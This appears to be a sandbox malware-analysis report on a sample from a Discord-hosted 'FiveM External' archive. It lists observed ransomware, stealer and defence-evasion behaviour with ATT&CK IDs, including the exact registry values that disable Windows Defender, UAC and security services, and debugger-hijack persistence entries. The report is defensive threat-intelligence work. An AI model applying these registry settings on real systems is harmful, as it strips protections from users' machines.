hxxps://cdn[.]discordapp[.]com/attachments/1474434877784064193/1544033888441991328/Fivem_External[.]rar?ex=6a97091d&is=6a95b79d&hm=200f0a88e023722e2ec6e0a011e1f52c922edb96725ad4befc3c9e031714f09f&

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,\"C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe\" /userinit"	SecurityCenterService.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	SecurityCenterService.exe

Modifies Windows Defender notification settings 3 TTPs 9 IoCs

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	loader.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	loader.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableEnhancedNotifications = "1"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	SecurityCenterService.exe

Modifies security service 2 TTPs 2 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	loader.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	SecurityCenterService.exe

UAC bypass 3 TTPs 6 IoCs

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	loader.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	loader.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	loader.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 6 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5956	bcdedit.exe
5444	bcdedit.exe
6124	bcdedit.exe
1976	bcdedit.exe
3520	bcdedit.exe
1768	bcdedit.exe

Renames multiple (2223) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Blocks application from running via registry modification 3 IoCs

Adds application to list of disallowed applications.

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	SecurityCenterService.exe
Key created	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	SecurityCenterService.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "msconfig.exe"	SecurityCenterService.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 20 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4832	powershell.exe
5200	powershell.exe
5376	powershell.exe
6128	powershell.exe
5300	powershell.exe
5792	powershell.exe
1380	powershell.exe
1768	powershell.exe
5916	powershell.exe
6040	powershell.exe
5984	powershell.exe
2624	powershell.exe
5840	powershell.exe
5860	powershell.exe
2536	powershell.exe
5520	powershell.exe
5196	powershell.exe
4744	powershell.exe
5400	powershell.exe
5252	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 6 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

Disable or Modify Tools

pid	Process
5916	powershell.exe
5196	powershell.exe
4744	powershell.exe
6040	powershell.exe
2624	powershell.exe
1380	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windbg.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32dbg.exe	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64_dbg.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CE.exe	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\idag.exe	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker2.exe	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker2.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64_dbg.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64dbg.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\idag.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker2.exe	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64dbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32dbg.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker2.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CE.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ollydbg.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CE.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cheatengine.exe	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ollydbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\idag.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64_dbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32_dbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\idag.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32_dbg.exe	SecurityCenterService.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64dbg.exe	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32dbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\idag.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windbg.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cheatengine.exe	SecurityCenterService.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64_dbg.exe	regedit.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32_dbg.exe	regedit.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windbg.exe	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32dbg.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CE.exe	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\CE.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64dbg.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ollydbg.exe	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32_dbg.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cheatengine.exe	SecurityCenterService.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windbg.exe	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp64.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker.exe\Debugger = "C:\\ProgramData\\Microsoft\\Windows\\SecurityCenterService.exe"	SecurityCenterService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ollydbg.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64_dbg.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cheatengine.exe\Debugger = "C:\\Users\\Admin\\Downloads\\loader.exe"	loader.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
5940	takeown.exe
5752	icacls.exe

Uses Session Manager for persistence 2 TTPs 2 IoCs

Creates Session Manager registry key to run executable early in system boot.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 0000	chkntfs.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 6100750074006f0063006800650063006b0020006100750074006f00630068006b0020002f006b003a00430020002a0000000000	chkntfs.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 2 IoCs

Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

Disable or Modify Tools

pid	Process
5252	powershell.exe
2536	powershell.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
3328	loader.exe
5592	SecurityCenterService.exe
6120	SecurityCenterService.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5940	takeown.exe
5752	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Windows security modification 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	SecurityCenterService.exe

Checks whether UAC is enabled 1 TTPs 3 IoCs

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	loader.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	SecurityCenterService.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe

Indicator Removal: Clear Persistence 1 TTPs 7 IoCs

remove IFEO.

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64_dbg.exe	regedit.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32dbg.exe	regedit.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x32_dbg.exe	regedit.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windbg.exe	regedit.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ProcessHacker2.exe	regedit.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ida.exe	regedit.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\x64dbg.exe	regedit.exe

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

Modify Registry

persistence privilege_escalation

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	loader.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	loader.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	SecurityCenterService.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SecurityHealthService\Start = "4"	SecurityCenterService.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Probable phishing domain 1 TTPs 1 IoCs

Phishing

T1566

description	flow	ioc	stream
HTTP URL	120	https://sourceforge.net/cdn-cgi/challenge-platform/h/b/orchestrate/chl_page/v1?ray=a33dfa39eba46b4e	5

Suspicious use of SetThreadContext 63 IoCs

description	pid	Process	procid_target
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133
PID 4000 set thread context of 3328	4000	rrr.exe	133

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File created	C:\Windows\rescache\_merged\425634766\2453951771.pri	LogonUI.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5644	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 2 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	regedit.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	regedit.exe

Executes a command shell one-liner 1 TTPs 46 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6136	cmd.exe
1708	cmd.exe
3032	cmd.exe
5988	cmd.exe
5684	cmd.exe
6100	cmd.exe
1620	cmd.exe
6128	cmd.exe
5772	cmd.exe
5288	cmd.exe
5468	cmd.exe
5128	cmd.exe
5940	cmd.exe
2132	cmd.exe
2396	cmd.exe
4964	cmd.exe
5724	cmd.exe
6084	cmd.exe
1936	cmd.exe
1164	cmd.exe
1676	cmd.exe
3200	cmd.exe
4056	cmd.exe
2624	cmd.exe
1044	cmd.exe
5704	cmd.exe
6000	cmd.exe
5412	cmd.exe
3092	cmd.exe
4020	cmd.exe
3252	cmd.exe
5108	cmd.exe
5316	cmd.exe
220	cmd.exe
5680	cmd.exe
5580	cmd.exe
5752	cmd.exe
6028	cmd.exe
3912	cmd.exe
5648	cmd.exe
4848	cmd.exe
3780	cmd.exe
1828	cmd.exe
1884	cmd.exe
4852	cmd.exe
5932	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pssuspend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pssuspend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pssuspend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pssuspend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pssuspend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pssuspend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pssuspend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pssuspend.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3048	chrome.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	chrome.exe
